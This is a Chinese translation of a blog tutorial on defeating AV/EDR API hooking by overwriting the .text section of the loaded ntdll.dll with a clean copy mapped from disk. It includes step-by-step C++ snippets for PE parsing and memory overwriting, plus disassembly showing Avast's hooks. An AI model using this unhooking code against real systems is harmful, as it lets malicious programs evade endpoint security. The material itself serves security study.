这篇文章是使用最初是由@spotless编写的代码来绕过AV/ EDR创建的API挂钩。我想说明的是,spotless已经在这方面做了一些准备工作,我只是做了一些小的功能更改,并添加了许多注释和文档。这主要是为了提高我对这个主题的理解,因为我发现在手头有MSDN文档的情况下逐个函数地浏览代码是了解它如何工作的好方法。它可能有点单调乏味,这就是为什么我对代码进行过多的文档化,以便其他人能够从中吸取经验。
这篇文章涵盖了几个主题,比如系统调用、用户模式与内核模式,以及我在本文将要介绍的Windows体系结构。在这篇文章中,我将在本文中假定对这些主题有一定程度的了解,这篇文章的代码可以在这里找到。
理解API挂钩
钩到底是什么?它是AV/EDR产品常用的一种技术,用于拦截函数调用,并将代码执行流程重定向到AV/EDR,以检查调用并确定是否为恶意调用。这是一项功能强大的技术,因为防御性应用程序可以一步一步查看你进行的每个函数调用,确定其是否为恶意程序并将其阻止。更糟糕的是(对于攻击者来说),这些产品在系统库/ DLL中挂钩本地函数,这些DLL位于传统使用的Win32 API之下。例如,WriteProcessMemory是一种常用的Win32 API,用于将shellcode写入进程地址空间,实际上调用了ntdll.dll中包含的未文档化的本机函数NtWriteVirtualMemory。 NtWriteVirtualMemory实际上是对内核模式的系统调用的包装函数。由于AV / EDR产品能够在用户模式代码可访问的最低级别上挂接函数调用,因此无法对其进行转义。
挂钩发生的位置
为了理解如何绕过挂钩,我们需要知道它们是如何以及在哪里创建的。当进程启动时,某些库或DLL将作为模块加载到进程地址空间中。每个应用程序都是不同的,将加载不同的库,但无论它们的功能如何,实际上所有的应用程序都将使用ntdll.dll,因为许多最常见的Windows函数都驻留在其中。防御性产品通过在DLL中连接函数调用来利用这一事实。通过挂钩,我们实际上是指修改函数的汇编指令,在函数的开头插入一个无条件跳转到EDR的代码中。EDR处理函数调用,如果允许,执行流将跳回原始函数调用,以便函数正常执行,而调用进程不知情。
识别挂钩
所以我们知道在我们的进程中,ntdll.dll模块已经被修改,我们不能相信任何使用它的函数调用。我们怎样才能解开这些挂钩呢?我们可以确定我们所使用的Windows的确切版本,找出实际的组装说明应该是什么,并尝试在运行中修补它们。但是这样做会很乏味,容易出错,而且不可重用。事实证明,磁盘上已经存在一个原始的,未经修改的,未经摘录的ntdll.dll版本!
因此,正确的策略应该如下。首先,我们将ntdll.dll的副本映射到我们的进程内存中,以使用一个干净的版本。然后,我们将在过程中确定挂钩版本的位置。最后,我们只需用干净的代码重写挂钩的代码,就可以了!
映射NtDLL.dll
映射ntdll.dll文件的视图实际上非常简单,我们获得了ntdll.dll的句柄,获得了它的文件映射的句柄,并将其映射到我们的进程中:
- HANDLE hNtdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE hNtdllFileMapping = CreateFileMapping(hNtdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 1, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(hNtdllFileMapping, FILE_MAP_READ, 0, 0, 0);
很简单,现在我们已经将干净的DLL映射到我们的地址空间中,现在我们来查找挂钩副本。
要在进程内存中找到挂钩的ntdll.dll的位置,我们需要在进程中加载的模块列表中找到它。本例中的模块是DLL和进程的主要可执行文件,在进程环境块中存储了它们的列表。PEB的具体介绍请点击这里。要访问这个列表,我们可以获取流程和所需模块的句柄,然后调用GetModuleInformation。然后,我们可以从miModuleInfo结构中检索DLL的基地址:
- handle hCurrentProcess = GetCurrentProcess();
- HMODULE hNtdllModule = GetModuleHandleA("ntdll.dll");
- MODULEINFO miModuleInfo = {};
- GetModuleInformation(hCurrentProcess, hNtdllModule, &miModuleInfo, sizeof(miModuleInfo));
- LPVOID pHookedNtdllBaseAddress = (LPVOID)miModuleInfo.lpBaseOfDll;
好的,因此我们在进程中具有已加载的ntdll.dll模块的基地址。但这到底是什么意思?DLL是一种与EXE一起可移植的可执行文件。这意味着它是一个可执行文件,因此包含各种不同类型的标头文件和节,这些文件可让操作系统知道如何加载和执行该文件。如上所示PE标头是密集而复杂的,但是我发现看到一个实际的工作示例仅利用了其中的一部分,就很容易理解。哦,图片也不会受伤。那里有很多细节级别各不相同的东西,但是来自Wikipedia的一个很好的示例有足够的细节而又不至于太令人费解:
你可以在DOS标头的PE开头看到Windows的遗留物,它一直都在那儿,但现在已经没有什么用处了。但是,我们将获取其地址,作为获取实际PE标头的偏移量:
- PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)pHookedNtdllBaseAddress;
- PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pHookedNtdllBaseAddress + hookedDosHeader->e_lfanew);
在这里,hookedDosHeader结构体的e_lfanew字段包含一个到模块内存的偏移量,该偏移量标识PE标头文件实际上从哪里开始,也就是上图中的COFF头文件。
现在我们位于PE标头的开头,我们可以开始对其进行解析以查找所需的内容。但是,让我们退后一步,准确地确定我们在寻找什么,这样我们就知道什么时候我们找到了它。
每个可执行文件/ PE都有许多部分,这些部分代表程序中各种类型的数据和代码,例如实际的可执行代码、资源、图像、图标等。这些类型的数据在可执行文件中分为不同的带标签的部分,命名为.text、.data、.rdata和.rsrc。.text节(有时也称为.code节)是紧随其后的,因为它包含组成ntdll.dll的汇编语言指令。
那么我们如何访问这些部分呢?在上图中,我们看到一个节表,其中包含一个指向每个节开始的指针的数组。非常适合遍历和查找每个部分,这是通过使用for循环并遍历挂钩edNtHeader-> FileHeader.NumberOfSections字段的每个值来找到.text部分的方法:
- for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
- {
- // loop through each section offset
- }
从现在开始,别忘了我们将在循环中寻找.text部分。为了识别它,我们使用循环计数器i作为节表本身的索引,并获得指向节头的指针
- PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
每个节的节标题包含该节的名称,因此,我们可以查看每一个,看看它们是否与.text匹配:
- if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
- // process the header
无论如何它的标头如何,我们找到了.text节!现在我们需要知道该部分中实际代码的大小和位置。本节标头包含了以下两方面内容:
- LPVOID hookedVirtualAddressStart = (LPVOID)((DWORD_PTR)pHookedNtdllBaseAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
- SIZE_T hookedVirtualAddressSize = hookedSectionHeader->Misc.VirtualSize;
现在,我们有了所有需要的东西,我们可以用磁盘上的干净的ntdll.dll重写加载和钩住的ntdll.dll模块的.text部分:
· 要复制的源文件(磁盘上的内存映射文件ntdll.dll);要复制到的目的地(.text节的hookedSectionHeader->VirtualAddress);
· 复制的字节数(hookedSectionHeader->Misc.VirtualSize字节)。
保存的输出
至此,我们保存了.text节的全部内容,因此我们可以对其进行检查,并将其与干净版本进行比较,从而知道解除链接成功了:
- char* hookedBytes{ new char[hookedVirtualAddressSize] {} };
- memcpy_s(hookedBytes, hookedVirtualAddressSize, hookedVirtualAddressStart, hookedVirtualAddressSize);
- saveBytes(hookedBytes, "hooked.txt", hookedVirtualAddressSize)
这仅是挂钩.text节的一个副本,并调用saveBytes函数,该函数将字节写入一个名为hook .txt的文本文件,稍后我们将研究这个文件。
内存管理
为了重写.text部分的内容,我们需要保存当前的内存保护并将其更改为读/写/执行,完成后,我们将其改回来
- bool isProtected;
- isProtected = VirtualProtect(hookedVirtualAddressStart, hookedVirtualAddressSize, PAGE_EXECUTE_READWRITE, &oldProtection);
- // overwrite the .text section here
- isProtected = VirtualProtect(hookedVirtualAddressStart, hookedVirtualAddressSize, oldProtection, &oldProtection);
绕过过程
我们终于到了绕过过程,首先,我们从获取内存映射的ntdll.dll的开头地址开始,作为我们的复制源:
- LPVOID cleanVirtualAddressStart = (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
我们还要保存这些字节,以便稍后进行比较:
- char* cleanBytes{ new char[hookedVirtualAddressSize] {} };
- memcpy_s(cleanBytes, hookedVirtualAddressSize, cleanVirtualAddressStart, hookedVirtualAddressSize);
- saveBytes(cleanBytes, "clean.txt", hookedVirtualAddressSize);
现在我们可以用未钩住的ntdll.dll重写.text部分:
- memcpy_s(hookedVirtualAddressStart, hookedVirtualAddressSize, cleanVirtualAddressStart, hookedVirtualAddressSize);
怎么知道是否被绕过了?
那么我们怎么知道我们实际上删除了挂钩,而不是移动了一堆字节呢?让我们检查一下输出文件hook .txt和clean.txt。这里我们使用VBinDiff对它们进行比较,第一个示例是在没有安装AV/EDR产品的测试设备上运行程序,正如预期的那样,加载的ntdll和磁盘上的ntdll是相同的:
因此,让我们再次在运行有挂钩的Avast Free Antivirus的计算机上再次运行它:
现在,让我们看看hooked.txt的开头和clean.txt的结尾,它们之间有明显的区别,用红色标出。我们可以获取这些原始字节,这些原始字节实际上代表汇编指令,然后使用在线反汇编程序将它们转换为其汇编表示。
以下就是干净的ntdll.dll的反汇编结果:
- mov QWORD PTR [rsp+0x20],r9
- mov QWORD PTR [rsp+0x10],rdx
以下就是挂钩后的版本:
- jmp 0xffffffffc005b978
- int3
- int3
- int3
- int3
- int3
可以看到一个清晰的jump! ,这意味着当它被加载到我们的进程中时,ntdll.dll中的某些内容已经发生了明显的变化。
但是我们怎么知道它实际上是在连接一个函数调用呢?让我们看看能不能找到更多的答案。这是顶部挂钩的DLL和底部干净的DLL之间的另一个差异示例:
首先清理DLL:
- mov r10,rcx
- mov eax,0x37
- mov r10,rcx
- mov eax,0x3a
挂钩的DLL:
- jmp 0xffffffffbffe5318
- int3
- int3
- int3
- jmp 0xffffffffbffe4cb8
- int3
- int3
- int3
现在,我们看到了更多的跳跃。但是这些mov eax和编号指令是什么意思?这些是系统调用号码!如果你阅读了我以前的文章,我将介绍如何以及为什么在汇编中准确找到这些内容。这个想法是使用syscall号直接调用底层函数,以避免挂钩!但是,如果你想运行尚未编写的代码怎么办?如何防止这些挂钩捕获你无法更改的代码?如果你到目前为止已经做到了,那么你已经知道了!因此,让我们使用Mateusz“j00ru”Jurczyk的简化版Windows系统调用表,并将syscall编号与其相应的函数调用进行匹配。
看看,我们发现了什么?0x37是NtOpenSection, 0x3a是NtWriteVirtualMemory! ,Avast 显然是在连接这些函数调用,而且我们知道我们已经用干净的DLL重写了它们。
本文翻译自:https://www.solomonsklash.io/pe-parsing-defeating-hooking.html如若转载,请注明原文地址: